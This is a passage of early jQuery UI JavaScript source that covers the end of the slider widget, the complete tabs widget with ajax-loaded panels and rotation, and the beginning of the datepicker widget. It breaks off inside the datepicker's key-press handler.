$.extend(o, {
axis: o.axis || (element.offsetWidth < element.offsetHeight ? 'vertical' : 'horizontal'),
max: !isNaN(parseInt(o.max, 10)) ? {
x: parseInt(o.max, 10),
y: parseInt(o.max, 10)
} : ({
x: o.max && o.max.x || 100,
y: o.max && o.max.y || 100
}),
min: !isNaN(parseInt(o.min, 10)) ? {
x: parseInt(o.min, 10),
y: parseInt(o.min, 10)
} : ({
x: o.min && o.min.x || 0,
y: o.min && o.min.y || 0
})
});
o.realMax = {
x: o.max.x - o.min.x,
y: o.max.y - o.min.y
};
o.stepping = {
x: o.stepping && o.stepping.x || parseInt(o.stepping, 10) || (o.steps ? o.realMax.x / (o.steps.x || parseInt(o.steps, 10) || o.realMax.x) : 0),
y: o.stepping && o.stepping.y || parseInt(o.stepping, 10) || (o.steps ? o.realMax.y / (o.steps.y || parseInt(o.steps, 10) || o.realMax.y) : 0)
};
},
keydown: function(keyCode, handle) {
if (/(37|38|39|40)/.test(keyCode)) {
this.moveTo({
x: /(37|39)/.test(keyCode) ? (keyCode == 37 ? '-' : '+') + '=' + this.oneStep("x") : 0,
y: /(38|40)/.test(keyCode) ? (keyCode == 38 ? '-' : '+') + '=' + this.oneStep("y") : 0
}, handle);
}
},
focus: function(handle, hard) {
this.currentHandle = $(handle).addClass('ui-slider-handle-active');
if (hard) this.currentHandle.parent()[0].focus();
},
blur: function(handle) {
$(handle).removeClass('ui-slider-handle-active');
if (this.currentHandle && this.currentHandle[0] == handle) {
this.previousHandle = this.currentHandle;
this.currentHandle = null;
};
},
click: function(e) {
var pointer = [e.pageX, e.pageY];
var clickedHandle = false;
this.handle.each(function() {
if (this == e.target) clickedHandle = true;
});
if (clickedHandle || this.options.disabled || !(this.currentHandle || this.previousHandle)) return;
if (!this.currentHandle && this.previousHandle) this.focus(this.previousHandle, true);
this.offset = this.element.offset();
this.moveTo({
y: this.convertValue(e.pageY - this.offset.top - this.currentHandle[0].offsetHeight / 2, "y"),
x: this.convertValue(e.pageX - this.offset.left - this.currentHandle[0].offsetWidth / 2, "x")
}, null, !this.options.distance);
},
createRange: function() {
if (this.rangeElement) return;
this.rangeElement = $('<div></div>').addClass('ui-slider-range').css({
position: 'absolute'
}).appendTo(this.element);
this.updateRange();
},
removeRange: function() {
this.rangeElement.remove();
this.rangeElement = null;
},
updateRange: function() {
var prop = this.options.axis == "vertical" ? "top" : "left";
var size = this.options.axis == "vertical" ? "height" : "width";
this.rangeElement.css(prop, (parseInt($(this.handle[0]).css(prop), 10) || 0) + this.handleSize(0, this.options.axis == "vertical" ? "y" : "x") / 2);
this.rangeElement.css(size, (parseInt($(this.handle[1]).css(prop), 10) || 0) - (parseInt($(this.handle[0]).css(prop), 10) || 0));
},
getRange: function() {
return this.rangeElement ? this.convertValue(parseInt(this.rangeElement.css(this.options.axis == "vertical" ? "height" : "width"), 10), this.options.axis == "vertical" ? "y" : "x") : null;
},
handleIndex: function() {
return this.handle.index(this.currentHandle[0]);
},
value: function(handle, axis) {
if (this.handle.length == 1) this.currentHandle = this.handle;
if (!axis) axis = this.options.axis == "vertical" ? "y" : "x";
var curHandle = $(handle != undefined && handle !== null ? this.handle[handle] || handle : this.currentHandle);
if (curHandle.data("mouse").sliderValue) {
return parseInt(curHandle.data("mouse").sliderValue[axis], 10);
} else {
return parseInt(((parseInt(curHandle.css(axis == "x" ? "left" : "top"), 10) / (this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(handle, axis))) * this.options.realMax[axis]) + this.options.min[axis], 10);
}
},
convertValue: function(value, axis) {
return this.options.min[axis] + (value / (this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis))) * this.options.realMax[axis];
},
translateValue: function(value, axis) {
return ((value - this.options.min[axis]) / this.options.realMax[axis]) * (this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis));
},
translateRange: function(value, axis) {
if (this.rangeElement) {
if (this.currentHandle[0] == this.handle[0] && value >= this.translateValue(this.value(1), axis)) value = this.translateValue(this.value(1, axis) - this.oneStep(axis), axis);
if (this.currentHandle[0] == this.handle[1] && value <= this.translateValue(this.value(0), axis)) value = this.translateValue(this.value(0, axis) + this.oneStep(axis), axis);
}
if (this.options.handles) {
var handle = this.options.handles[this.handleIndex()];
if (value < this.translateValue(handle.min, axis)) {
value = this.translateValue(handle.min, axis);
} else if (value > this.translateValue(handle.max, axis)) {
value = this.translateValue(handle.max, axis);
}
}
return value;
},
translateLimits: function(value, axis) {
if (value >= this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis)) value = this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis);
if (value <= 0) value = 0;
return value;
},
handleSize: function(handle, axis) {
return $(handle != undefined && handle !== null ? this.handle[handle] : this.currentHandle)[0]["offset" + (axis == "x" ? "Width" : "Height")];
},
oneStep: function(axis) {
return this.options.stepping[axis] || 1;
},
start: function(e, handle) {
var o = this.options;
if (o.disabled) return false;
this.actualSize = {
width: this.element.outerWidth(),
height: this.element.outerHeight()
};
if (!this.currentHandle) this.focus(this.previousHandle, true);
this.offset = this.element.offset();
this.handleOffset = this.currentHandle.offset();
this.clickOffset = {
top: e.pageY - this.handleOffset.top,
left: e.pageX - this.handleOffset.left
};
this.firstValue = this.value();
this.propagate('start', e);
this.drag(e, handle);
return true;
},
stop: function(e) {
this.propagate('stop', e);
if (this.firstValue != this.value()) this.propagate('change', e);
this.focus(this.currentHandle, true);
return false;
},
drag: function(e, handle) {
var o = this.options;
var position = {
top: e.pageY - this.offset.top - this.clickOffset.top,
left: e.pageX - this.offset.left - this.clickOffset.left
};
if (!this.currentHandle) this.focus(this.previousHandle, true);
position.left = this.translateLimits(position.left, "x");
position.top = this.translateLimits(position.top, "y");
if (o.stepping.x) {
var value = this.convertValue(position.left, "x");
value = Math.round(value / o.stepping.x) * o.stepping.x;
position.left = this.translateValue(value, "x");
}
if (o.stepping.y) {
var value = this.convertValue(position.top, "y");
value = Math.round(value / o.stepping.y) * o.stepping.y;
position.top = this.translateValue(value, "y");
}
position.left = this.translateRange(position.left, "x");
position.top = this.translateRange(position.top, "y");
if (o.axis != "vertical") this.currentHandle.css({
left: position.left
});
if (o.axis != "horizontal") this.currentHandle.css({
top: position.top
});
this.currentHandle.data("mouse").sliderValue = {
x: Math.round(this.convertValue(position.left, "x")) || 0,
y: Math.round(this.convertValue(position.top, "y")) || 0
};
if (this.rangeElement) this.updateRange();
this.propagate('slide', e);
return false;
},
moveTo: function(value, handle, noPropagation) {
var o = this.options;
this.actualSize = {
width: this.element.outerWidth(),
height: this.element.outerHeight()
};
if (handle == undefined && !this.currentHandle && this.handle.length != 1) return false;
if (handle == undefined && !this.currentHandle) handle = 0;
if (handle != undefined) this.currentHandle = this.previousHandle = $(this.handle[handle] || handle);
if (value.x !== undefined && value.y !== undefined) {
var x = value.x,
y = value.y;
} else {
var x = value,
y = value;
}
if (x !== undefined && x.constructor != Number) {
var me = /^\-\=/.test(x),
pe = /^\+\=/.test(x);
if (me || pe) {
x = this.value(null, "x") + parseInt(x.replace(me ? '=' : '+=', ''), 10);
} else {
x = isNaN(parseInt(x, 10)) ? undefined : parseInt(x, 10);
}
}
if (y !== undefined && y.constructor != Number) {
var me = /^\-\=/.test(y),
pe = /^\+\=/.test(y);
if (me || pe) {
y = this.value(null, "y") + parseInt(y.replace(me ? '=' : '+=', ''), 10);
} else {
y = isNaN(parseInt(y, 10)) ? undefined : parseInt(y, 10);
}
}
if (o.axis != "vertical" && x !== undefined) {
if (o.stepping.x) x = Math.round(x / o.stepping.x) * o.stepping.x;
x = this.translateValue(x, "x");
x = this.translateLimits(x, "x");
x = this.translateRange(x, "x");
o.animate ? this.currentHandle.stop().animate({
left: x
}, (Math.abs(parseInt(this.currentHandle.css("left")) - x)) * (!isNaN(parseInt(o.animate)) ? o.animate : 5)) : this.currentHandle.css({
left: x
});
}
if (o.axis != "horizontal" && y !== undefined) {
if (o.stepping.y) y = Math.round(y / o.stepping.y) * o.stepping.y;
y = this.translateValue(y, "y");
y = this.translateLimits(y, "y");
y = this.translateRange(y, "y");
o.animate ? this.currentHandle.stop().animate({
top: y
}, (Math.abs(parseInt(this.currentHandle.css("top")) - y)) * (!isNaN(parseInt(o.animate)) ? o.animate : 5)) : this.currentHandle.css({
top: y
});
}
if (this.rangeElement) this.updateRange();
this.currentHandle.data("mouse").sliderValue = {
x: Math.round(this.convertValue(x, "x")) || 0,
y: Math.round(this.convertValue(y, "y")) || 0
};
if (!noPropagation) {
this.propagate('start', null);
this.propagate('stop', null);
this.propagate('change', null);
this.propagate("slide", null);
}
}
});
$.ui.slider.getter = "value";
$.ui.slider.defaults = {
handle: ".ui-slider-handle",
distance: 1,
animate: false
};
})(jQuery);
(function($) {
$.widget("ui.tabs", {
init: function() {
this.options.event += '.tabs';
this.tabify(true);
},
setData: function(key, value) {
if ((/^selected/).test(key)) this.select(value);
else {
this.options[key] = value;
this.tabify();
}
},
length: function() {
return this.$tabs.length;
},
tabId: function(a) {
return a.title && a.title.replace(/\s/g, '_').replace(/[^A-Za-z0-9\-_:\.]/g, '') || this.options.idPrefix + $.data(a);
},
ui: function(tab, panel) {
return {
options: this.options,
tab: tab,
panel: panel,
index: this.$tabs.index(tab)
};
},
tabify: function(init) {
this.$lis = $('li:has(a[href])', this.element);
this.$tabs = this.$lis.map(function() {
return $('a', this)[0];
});
this.$panels = $([]);
var self = this,
o = this.options;
this.$tabs.each(function(i, a) {
if (a.hash && a.hash.replace('#', '')) self.$panels = self.$panels.add(a.hash);
else if ($(a).attr('href') != '#') {
$.data(a, 'href.tabs', a.href);
$.data(a, 'load.tabs', a.href);
var id = self.tabId(a);
a.href = '#' + id;
var $panel = $('#' + id);
if (!$panel.length) {
$panel = $(o.panelTemplate).attr('id', id).addClass(o.panelClass).insertAfter(self.$panels[i - 1] || self.element);
$panel.data('destroy.tabs', true);
}
self.$panels = self.$panels.add($panel);
} else o.disabled.push(i + 1);
});
if (init) {
this.element.addClass(o.navClass);
this.$panels.each(function() {
var $this = $(this);
$this.addClass(o.panelClass);
});
if (o.selected === undefined) {
if (location.hash) {
this.$tabs.each(function(i, a) {
if (a.hash == location.hash) {
o.selected = i;
if ($.browser.msie || $.browser.opera) {
var $toShow = $(location.hash),
toShowId = $toShow.attr('id');
$toShow.attr('id', '');
setTimeout(function() {
$toShow.attr('id', toShowId);
}, 500);
}
scrollTo(0, 0);
return false;
}
});
} else if (o.cookie) {
var index = parseInt($.cookie('ui-tabs' + $.data(self.element)), 10);
if (index && self.$tabs[index]) o.selected = index;
} else if (self.$lis.filter('.' + o.selectedClass).length) o.selected = self.$lis.index(self.$lis.filter('.' + o.selectedClass)[0]);
}
o.selected = o.selected === null || o.selected !== undefined ? o.selected : 0;
o.disabled = $.unique(o.disabled.concat($.map(this.$lis.filter('.' + o.disabledClass), function(n, i) {
return self.$lis.index(n);
}))).sort();
if ($.inArray(o.selected, o.disabled) != -1) o.disabled.splice($.inArray(o.selected, o.disabled), 1);
this.$panels.addClass(o.hideClass);
this.$lis.removeClass(o.selectedClass);
if (o.selected !== null) {
this.$panels.eq(o.selected).show().removeClass(o.hideClass);
this.$lis.eq(o.selected).addClass(o.selectedClass);
var onShow = function() {
$(self.element).triggerHandler('tabsshow', [self.fakeEvent('tabsshow'), self.ui(self.$tabs[o.selected], self.$panels[o.selected])], o.show);
};
if ($.data(this.$tabs[o.selected], 'load.tabs')) this.load(o.selected, onShow);
else onShow();
}
$(window).bind('unload', function() {
self.$tabs.unbind('.tabs');
self.$lis = self.$tabs = self.$panels = null;
});
}
for (var i = 0, li; li = this.$lis[i]; i++)
$(li)[$.inArray(i, o.disabled) != -1 && !$(li).hasClass(o.selectedClass) ? 'addClass' : 'removeClass'](o.disabledClass);
if (o.cache === false) this.$tabs.removeData('cache.tabs');
var hideFx, showFx, baseFx = {
'min-width': 0,
duration: 1
},
baseDuration = 'normal';
if (o.fx && o.fx.constructor == Array) hideFx = o.fx[0] || baseFx, showFx = o.fx[1] || baseFx;
else hideFx = showFx = o.fx || baseFx;
var resetCSS = {
display: '',
overflow: '',
height: ''
};
if (!$.browser.msie) resetCSS.opacity = '';
function hideTab(clicked, $hide, $show) {
$hide.animate(hideFx, hideFx.duration || baseDuration, function() {
$hide.addClass(o.hideClass).css(resetCSS);
if ($.browser.msie && hideFx.opacity) $hide[0].style.filter = '';
if ($show) showTab(clicked, $show, $hide);
});
}
function showTab(clicked, $show, $hide) {
if (showFx === baseFx) $show.css('display', 'block');
$show.animate(showFx, showFx.duration || baseDuration, function() {
$show.removeClass(o.hideClass).css(resetCSS);
if ($.browser.msie && showFx.opacity) $show[0].style.filter = '';
$(self.element).triggerHandler('tabsshow', [self.fakeEvent('tabsshow'), self.ui(clicked, $show[0])], o.show);
});
}
function switchTab(clicked, $li, $hide, $show) {
$li.addClass(o.selectedClass).siblings().removeClass(o.selectedClass);
hideTab(clicked, $hide, $show);
}
this.$tabs.unbind('.tabs').bind(o.event, function() {
var $li = $(this).parents('li:eq(0)'),
$hide = self.$panels.filter(':visible'),
$show = $(this.hash);
if (($li.hasClass(o.selectedClass) && !o.unselect) || $li.hasClass(o.disabledClass) || $(this).hasClass(o.loadingClass) || $(self.element).triggerHandler('tabsselect', [self.fakeEvent('tabsselect'), self.ui(this, $show[0])], o.select) === false) {
this.blur();
return false;
}
self.options.selected = self.$tabs.index(this);
if (o.unselect) {
if ($li.hasClass(o.selectedClass)) {
self.options.selected = null;
$li.removeClass(o.selectedClass);
self.$panels.stop();
hideTab(this, $hide);
this.blur();
return false;
} else if (!$hide.length) {
self.$panels.stop();
var a = this;
self.load(self.$tabs.index(this), function() {
$li.addClass(o.selectedClass).addClass(o.unselectClass);
showTab(a, $show);
});
this.blur();
return false;
}
}
if (o.cookie) $.cookie('ui-tabs' + $.data(self.element), self.options.selected, o.cookie);
self.$panels.stop();
if ($show.length) {
var a = this;
self.load(self.$tabs.index(this), $hide.length ?
function() {
switchTab(a, $li, $hide, $show);
} : function() {
$li.addClass(o.selectedClass);
showTab(a, $show);
});
} else throw 'jQuery UI Tabs: Mismatching fragment identifier.';
if ($.browser.msie) this.blur();
return false;
});
if (!(/^click/).test(o.event)) this.$tabs.bind('click.tabs', function() {
return false;
});
},
add: function(url, label, index) {
if (index == undefined) index = this.$tabs.length;
var o = this.options;
var $li = $(o.tabTemplate.replace(/#\{href\}/g, url).replace(/#\{label\}/g, label));
$li.data('destroy.tabs', true);
var id = url.indexOf('#') == 0 ? url.replace('#', '') : this.tabId($('a:first-child', $li)[0]);
var $panel = $('#' + id);
if (!$panel.length) {
$panel = $(o.panelTemplate).attr('id', id).addClass(o.hideClass).data('destroy.tabs', true);
}
$panel.addClass(o.panelClass);
if (index >= this.$lis.length) {
$li.appendTo(this.element);
$panel.appendTo(this.element[0].parentNode);
} else {
$li.insertBefore(this.$lis[index]);
$panel.insertBefore(this.$panels[index]);
}
o.disabled = $.map(o.disabled, function(n, i) {
return n >= index ? ++n : n
});
this.tabify();
if (this.$tabs.length == 1) {
$li.addClass(o.selectedClass);
$panel.removeClass(o.hideClass);
var href = $.data(this.$tabs[0], 'load.tabs');
if (href) this.load(index, href);
}
this.element.triggerHandler('tabsadd', [this.fakeEvent('tabsadd'), this.ui(this.$tabs[index], this.$panels[index])], o.add);
},
remove: function(index) {
var o = this.options,
$li = this.$lis.eq(index).remove(),
$panel = this.$panels.eq(index).remove();
if ($li.hasClass(o.selectedClass) && this.$tabs.length > 1) this.select(index + (index + 1 < this.$tabs.length ? 1 : -1));
o.disabled = $.map($.grep(o.disabled, function(n, i) {
return n != index;
}), function(n, i) {
return n >= index ? --n : n
});
this.tabify();
this.element.triggerHandler('tabsremove', [this.fakeEvent('tabsremove'), this.ui($li.find('a')[0], $panel[0])], o.remove);
},
enable: function(index) {
var o = this.options;
if ($.inArray(index, o.disabled) == -1) return;
var $li = this.$lis.eq(index).removeClass(o.disabledClass);
if ($.browser.safari) {
$li.css('display', 'inline-block');
setTimeout(function() {
$li.css('display', 'block');
}, 0);
}
o.disabled = $.grep(o.disabled, function(n, i) {
return n != index;
});
this.element.triggerHandler('tabsenable', [this.fakeEvent('tabsenable'), this.ui(this.$tabs[index], this.$panels[index])], o.enable);
},
disable: function(index) {
var self = this,
o = this.options;
if (index != o.selected) {
this.$lis.eq(index).addClass(o.disabledClass);
o.disabled.push(index);
o.disabled.sort();
this.element.triggerHandler('tabsdisable', [this.fakeEvent('tabsdisable'), this.ui(this.$tabs[index], this.$panels[index])], o.disable);
}
},
select: function(index) {
if (typeof index == 'string') index = this.$tabs.index(this.$tabs.filter('[href$=' + index + ']')[0]);
this.$tabs.eq(index).trigger(this.options.event);
},
load: function(index, callback) {
var self = this,
o = this.options,
$a = this.$tabs.eq(index),
a = $a[0],
bypassCache = callback == undefined || callback === false,
url = $a.data('load.tabs');
callback = callback ||
function() {};
if (!url || !bypassCache && $.data(a, 'cache.tabs')) {
callback();
return;
}
var inner = function(parent) {
var $parent = $(parent),
$inner = $parent.find('*:last');
return $inner.length && $inner.is(':not(img)') && $inner || $parent;
};
var cleanup = function() {
self.$tabs.filter('.' + o.loadingClass).removeClass(o.loadingClass).each(function() {
if (o.spinner) inner(this).parent().html(inner(this).data('label.tabs'));
});
self.xhr = null;
};
if (o.spinner) {
var label = inner(a).html();
inner(a).wrapInner('<em></em>').find('em').data('label.tabs', label).html(o.spinner);
}
var ajaxOptions = $.extend({}, o.ajaxOptions, {
url: url,
success: function(r, s) {
$(a.hash).html(r);
cleanup();
if (o.cache) $.data(a, 'cache.tabs', true);
$(self.element).triggerHandler('tabsload', [self.fakeEvent('tabsload'), self.ui(self.$tabs[index], self.$panels[index])], o.load);
o.ajaxOptions.success && o.ajaxOptions.success(r, s);
callback();
}
});
if (this.xhr) {
this.xhr.abort();
cleanup();
}
$a.addClass(o.loadingClass);
setTimeout(function() {
self.xhr = $.ajax(ajaxOptions);
}, 0);
},
url: function(index, url) {
this.$tabs.eq(index).removeData('cache.tabs').data('load.tabs', url);
},
destroy: function() {
var o = this.options;
this.element.unbind('.tabs').removeClass(o.navClass).removeData('tabs');
this.$tabs.each(function() {
var href = $.data(this, 'href.tabs');
if (href) this.href = href;
var $this = $(this).unbind('.tabs');
$.each(['href', 'load', 'cache'], function(i, prefix) {
$this.removeData(prefix + '.tabs');
});
});
this.$lis.add(this.$panels).each(function() {
if ($.data(this, 'destroy.tabs')) $(this).remove();
else $(this).removeClass([o.selectedClass, o.unselectClass, o.disabledClass, o.panelClass, o.hideClass].join(' '));
});
},
fakeEvent: function(type) {
return $.event.fix({
type: type,
target: this.element[0]
});
}
});
$.ui.tabs.defaults = {
unselect: false,
event: 'click',
disabled: [],
cookie: null,
spinner: 'Loading…',
cache: false,
idPrefix: 'ui-tabs-',
ajaxOptions: {},
fx: null,
tabTemplate: '<li><a href="#{href}"><span>#{label}</span></a></li>',
panelTemplate: '<div></div>',
navClass: 'ui-tabs-nav',
selectedClass: 'ui-tabs-selected',
unselectClass: 'ui-tabs-unselect',
disabledClass: 'ui-tabs-disabled',
panelClass: 'ui-tabs-panel',
hideClass: 'ui-tabs-hide',
loadingClass: 'ui-tabs-loading'
};
$.ui.tabs.getter = "length";
$.extend($.ui.tabs.prototype, {
rotation: null,
rotate: function(ms, continuing) {
continuing = continuing || false;
var self = this,
t = this.options.selected;
function start() {
self.rotation = setInterval(function() {
t = ++t < self.$tabs.length ? t : 0;
self.select(t);
}, ms);
}
function stop(e) {
if (!e || e.clientX) {
clearInterval(self.rotation);
}
}
if (ms) {
start();
if (!continuing) this.$tabs.bind(this.options.event, stop);
else this.$tabs.bind(this.options.event, function() {
stop();
t = self.options.selected;
start();
});
} else {
stop();
this.$tabs.unbind(this.options.event, stop);
}
}
});
})(jQuery);
(function($) {
var PROP_NAME = 'datepicker';
function Datepicker() {
this.debug = false;
this._curInst = null;
this._disabledInputs = [];
this._datepickerShowing = false;
this._inDialog = false;
this._mainDivId = 'ui-datepicker-div';
this._appendClass = 'ui-datepicker-append';
this._triggerClass = 'ui-datepicker-trigger';
this._dialogClass = 'ui-datepicker-dialog';
this._promptClass = 'ui-datepicker-prompt';
this._unselectableClass = 'ui-datepicker-unselectable';
this._currentClass = 'ui-datepicker-current-day';
this.regional = [];
this.regional[''] = {
clearText: 'Clear',
clearStatus: 'Erase the current date',
closeText: 'Close',
closeStatus: 'Close without change',
prevText: '<Prev',
prevStatus: 'Show the previous month',
nextText: 'Next>',
nextStatus: 'Show the next month',
currentText: 'Today',
currentStatus: 'Show the current month',
monthNames: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
monthStatus: 'Show a different month',
yearStatus: 'Show a different year',
weekHeader: 'Wk',
weekStatus: 'Week of the year',
dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'],
dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
dayNamesMin: ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'],
dayStatus: 'Set DD as first week day',
dateStatus: 'Select DD, M d',
dateFormat: 'mm/dd/yy',
firstDay: 0,
initStatus: 'Select a date',
isRTL: false
};
this._defaults = {
showOn: 'focus',
showAnim: 'show',
showOptions: {},
defaultDate: null,
appendText: '',
buttonText: '...',
buttonImage: '',
buttonImageOnly: false,
closeAtTop: true,
mandatory: false,
hideIfNoPrevNext: false,
navigationAsDateFormat: false,
gotoCurrent: false,
changeMonth: true,
changeYear: true,
yearRange: '-10:+10',
changeFirstDay: true,
highlightWeek: false,
showOtherMonths: false,
showWeeks: false,
calculateWeek: this.iso8601Week,
shortYearCutoff: '+10',
showStatus: false,
statusForDate: this.dateStatus,
minDate: null,
maxDate: null,
duration: 'normal',
beforeShowDay: null,
beforeShow: null,
onSelect: null,
onChangeMonthYear: null,
onClose: null,
numberOfMonths: 1,
stepMonths: 1,
rangeSelect: false,
rangeSeparator: ' - ',
altField: '',
altFormat: ''
};
$.extend(this._defaults, this.regional['']);
this.dpDiv = $('<div id="' + this._mainDivId + '" style="display: none;"></div>');
}
$.extend(Datepicker.prototype, {
markerClassName: 'hasDatepicker',
log: function() {
if (this.debug) console.log.apply('', arguments);
},
setDefaults: function(settings) {
extendRemove(this._defaults, settings || {});
return this;
},
_attachDatepicker: function(target, settings) {
var inlineSettings = null;
for (attrName in this._defaults) {
var attrValue = target.getAttribute('date:' + attrName);
if (attrValue) {
inlineSettings = inlineSettings || {};
try {
inlineSettings[attrName] = eval(attrValue);
} catch (err) {
inlineSettings[attrName] = attrValue;
}
}
}
var nodeName = target.nodeName.toLowerCase();
var inline = (nodeName == 'div' || nodeName == 'span');
if (!target.id) target.id = 'dp' + new Date().getTime();
var inst = this._newInst($(target), inline);
inst.settings = $.extend({}, settings || {}, inlineSettings || {});
if (nodeName == 'input') {
this._connectDatepicker(target, inst);
} else if (inline) {
this._inlineDatepicker(target, inst);
}
},
_newInst: function(target, inline) {
return {
id: target[0].id,
input: target,
selectedDay: 0,
selectedMonth: 0,
selectedYear: 0,
drawMonth: 0,
drawYear: 0,
inline: inline,
dpDiv: (!inline ? this.dpDiv : $('<div class="ui-datepicker-inline"></div>'))
};
},
_connectDatepicker: function(target, inst) {
var input = $(target);
if (input.hasClass(this.markerClassName)) return;
var appendText = this._get(inst, 'appendText');
var isRTL = this._get(inst, 'isRTL');
if (appendText) input[isRTL ? 'before' : 'after']('<span class="' + this._appendClass + '">' + appendText + '</span>');
var showOn = this._get(inst, 'showOn');
if (showOn == 'focus' || showOn == 'both') input.focus(this._showDatepicker);
if (showOn == 'button' || showOn == 'both') {
var buttonText = this._get(inst, 'buttonText');
var buttonImage = this._get(inst, 'buttonImage');
var trigger = $(this._get(inst, 'buttonImageOnly') ? $('<img/>').addClass(this._triggerClass).attr({
src: buttonImage,
alt: buttonText,
title: buttonText
}) : $('<button type="button"></button>').addClass(this._triggerClass).html(buttonImage == '' ? buttonText : $('<img/>').attr({
src: buttonImage,
alt: buttonText,
title: buttonText
})));
input[isRTL ? 'before' : 'after'](trigger);
trigger.click(function() {
if ($.datepicker._datepickerShowing && $.datepicker._lastInput == target) $.datepicker._hideDatepicker();
else $.datepicker._showDatepicker(target);
return false;
});
}
input.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).bind("setData.datepicker", function(event, key, value) {
inst.settings[key] = value;
}).bind("getData.datepicker", function(event, key) {
return this._get(inst, key);
});
$.data(target, PROP_NAME, inst);
},
_inlineDatepicker: function(target, inst) {
var input = $(target);
if (input.hasClass(this.markerClassName)) return;
input.addClass(this.markerClassName).append(inst.dpDiv).bind("setData.datepicker", function(event, key, value) {
inst.settings[key] = value;
}).bind("getData.datepicker", function(event, key) {
return this._get(inst, key);
});
$.data(target, PROP_NAME, inst);
this._setDate(inst, this._getDefaultDate(inst));
this._updateDatepicker(inst);
},
_dialogDatepicker: function(input, dateText, onSelect, settings, pos) {
var inst = this._dialogInst;
if (!inst) {
var id = 'dp' + new Date().getTime();
this._dialogInput = $('<input type="text" id="' + id + '" size="1" style="position: absolute; top: -100px;"/>');
this._dialogInput.keydown(this._doKeyDown);
$('body').append(this._dialogInput);
inst = this._dialogInst = this._newInst(this._dialogInput, false);
inst.settings = {};
$.data(this._dialogInput[0], PROP_NAME, inst);
}
extendRemove(inst.settings, settings || {});
this._dialogInput.val(dateText);
this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
if (!this._pos) {
var browserWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
var browserHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
var scrollY = document.documentElement.scrollTop || document.body.scrollTop;
this._pos = [(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];
}
this._dialogInput.css('left', this._pos[0] + 'px').css('top', this._pos[1] + 'px');
inst.settings.onSelect = onSelect;
this._inDialog = true;
this.dpDiv.addClass(this._dialogClass);
this._showDatepicker(this._dialogInput[0]);
if ($.blockUI) $.blockUI(this.dpDiv);
$.data(this._dialogInput[0], PROP_NAME, inst);
return this;
},
_destroyDatepicker: function(target) {
var nodeName = target.nodeName.toLowerCase();
var $target = $(target);
$.removeData(target, PROP_NAME);
if (nodeName == 'input') {
$target.siblings('.' + this._appendClass).remove().end().siblings('.' + this._triggerClass).remove().end().removeClass(this.markerClassName).unbind('focus', this._showDatepicker).unbind('keydown', this._doKeyDown).unbind('keypress', this._doKeyPress);
} else if (nodeName == 'div' || nodeName == 'span') $target.removeClass(this.markerClassName).empty();
},
_enableDatepicker: function(target) {
target.disabled = false;
$(target).siblings('button.' + this._triggerClass).each(function() {
this.disabled = false;
}).end().siblings('img.' + this._triggerClass).css({
opacity: '1.0',
cursor: ''
});
this._disabledInputs = $.map(this._disabledInputs, function(value) {
return (value == target ? null : value);
});
},
_disableDatepicker: function(target) {
target.disabled = true;
$(target).siblings('button.' + this._triggerClass).each(function() {
this.disabled = true;
}).end().siblings('img.' + this._triggerClass).css({
opacity: '0.5',
cursor: 'default'
});
this._disabledInputs = $.map(this._disabledInputs, function(value) {
return (value == target ? null : value);
});
this._disabledInputs[this._disabledInputs.length] = target;
},
_isDisabledDatepicker: function(target) {
if (!target) return false;
for (var i = 0; i < this._disabledInputs.length; i++) {
if (this._disabledInputs[i] == target) return true;
}
return false;
},
_changeDatepicker: function(target, name, value) {
var settings = name || {};
if (typeof name == 'string') {
settings = {};
settings[name] = value;
}
if (inst = $.data(target, PROP_NAME)) {
extendRemove(inst.settings, settings);
this._updateDatepicker(inst);
}
},
_setDateDatepicker: function(target, date, endDate) {
var inst = $.data(target, PROP_NAME);
if (inst) {
this._setDate(inst, date, endDate);
this._updateDatepicker(inst);
}
},
_getDateDatepicker: function(target) {
var inst = $.data(target, PROP_NAME);
if (inst) this._setDateFromField(inst);
return (inst ? this._getDate(inst) : null);
},
_doKeyDown: function(e) {
var inst = $.data(e.target, PROP_NAME);
var handled = true;
if ($.datepicker._datepickerShowing) switch (e.keyCode) {
case 9:
$.datepicker._hideDatepicker(null, '');
break;
case 13:
$.datepicker._selectDay(e.target, inst.selectedMonth, inst.selectedYear, $('td.ui-datepicker-days-cell-over', inst.dpDiv)[0]);
return false;
break;
case 27:
$.datepicker._hideDatepicker(null, $.datepicker._get(inst, 'duration'));
break;
case 33:
$.datepicker._adjustDate(e.target, (e.ctrlKey ? -1 : -$.datepicker._get(inst, 'stepMonths')), (e.ctrlKey ? 'Y' : 'M'));
break;
case 34:
$.datepicker._adjustDate(e.target, (e.ctrlKey ? +1 : +$.datepicker._get(inst, 'stepMonths')), (e.ctrlKey ? 'Y' : 'M'));
break;
case 35:
if (e.ctrlKey) $.datepicker._clearDate(e.target);
break;
case 36:
if (e.ctrlKey) $.datepicker._gotoToday(e.target);
break;
case 37:
if (e.ctrlKey) $.datepicker._adjustDate(e.target, -1, 'D');
break;
case 38:
if (e.ctrlKey) $.datepicker._adjustDate(e.target, -7, 'D');
break;
case 39:
if (e.ctrlKey) $.datepicker._adjustDate(e.target, +1, 'D');
break;
case 40:
if (e.ctrlKey) $.datepicker._adjustDate(e.target, +7, 'D');
break;
default:
handled = false;
} else if (e.keyCode == 36 && e.ctrlKey) $.datepicker._showDatepicker(this);
else handled = false;
if (handled) {
e.preventDefault();
e.stopPropagation();
}
},
_doKeyPress: function(e) {
var inst = $.data(e.target, PROP_NAME);
